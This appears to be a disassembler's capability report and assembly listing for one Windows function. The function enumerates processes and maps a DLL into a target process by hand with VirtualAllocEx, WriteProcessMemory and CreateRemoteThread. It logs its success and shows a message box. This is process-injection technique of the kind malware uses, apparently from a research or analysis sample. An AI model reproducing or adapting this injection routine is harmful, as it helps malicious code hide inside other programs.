Function at 0x40115d
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x2a8
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x2a4], eax
push ebx
push ebp
push esi
xor ebp, ebp
push ebp
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x40133d
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x22c
push eax
push esi
mov ebx, ebp
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x4011c2
push 0x402140
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4011c8
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x4011a2
jmp 0x4011d7
push dword [esp + 0x28]
push ebp
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x40133d
push edi
mov edi, dword [0x4021fc]
push 0x40
push 0x3000
push dword [edi + 0x402210]
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push ebp
push dword [edi + 0x402214]
mov dword [esp + 0x18], eax
push 0x4021c0
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
cmp ax, word [edi + 0x4021c6]
jae 0x401256
lea esi, [edi + 0x4022cc]
mov eax, dword [esi]
push 0
push dword [esi - 4]
add eax, 0x4021c0
push eax
mov eax, dword [esi - 8]
add eax, dword [esp + 0x1c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [edi + 0x4021c6]
lea esi, [esi + 0x28]
inc ebp
cmp ebp, eax
jl 0x40122b
push 0x20
push 0x3000
push 0x1000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov ebp, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RtlZeroMemory
push 0x402164
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call esi
push 0
push 0x10
mov dword [esp + 0x28], eax
lea eax, [esp + 0x1c]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov ecx, 0x401036
lea esi, [edi + 0x10]
mov eax, fcn.0040115a
sub eax, ecx
push eax
push ecx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0xffffffffffffffff
xor eax, eax
push eax
push eax
push edi
push esi
push eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push str.w__ccsUTF_8
push str.VRTRocks
push 0x41c388
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
push ebp
push 0x402140
push str.Dll_successfully_loaded_into__ws_at_0x_x
lea eax, [esp + 0x268]
push 0x64
push eax
call fcn.00401006
add esp, 0x20
lea eax, [esp + 0x250]
push 0x40
push str.Success
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
mov ecx, dword [esp + 0x2b0]
xor eax, eax
pop esi
pop ebp
pop ebx
xor ecx, esp
inc eax
call fcn.0040135a
add esp, 0x2a8
ret 0x10